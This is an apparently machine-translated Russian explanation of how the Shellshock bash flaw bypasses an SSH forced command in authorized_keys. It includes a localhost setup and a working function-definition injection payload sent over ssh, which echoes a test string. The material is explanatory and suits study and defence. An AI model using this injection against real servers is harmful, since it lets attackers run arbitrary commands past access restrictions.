Один из примеров, где это можно использовать, - на серверах с authorized_keys
принудительной командой. При добавлении записи в ~/.ssh/authorized_keys
, вы можете предварить линию , command="foo"
чтобы заставить foo
быть запущен в любое время , что SSH используется открытый ключ. С помощью этого эксплойта, если установлена оболочка целевого пользователя bash
, они могут использовать этот эксплойт для запуска вещей, отличных от команды, которой они вынуждены.
Это, вероятно, имеет больше смысла в примере, поэтому вот пример:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Здесь мы настраиваем пользователя testuser
, который принудительно запускает любые соединения ssh, используя ваш ключ ssh echo starting sleep; sleep 1
.
Мы можем проверить это с:
$ ssh testuser@localhost echo something else
starting sleep
Обратите внимание, что наша команда не запускается echo something else
, но starting sleep
показывает, что принудительная команда действительно выполнялась.
Теперь давайте покажем, как можно использовать этот эксплойт:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Это работает, потому что sshd
устанавливает SSH_ORIGINAL_COMMAND
переменную среды для переданной команды. Так что даже если sshd
побежал sleep
, а не команда , которую я рассказал это, из - за подвиг, мой код до сих пор получает бежать.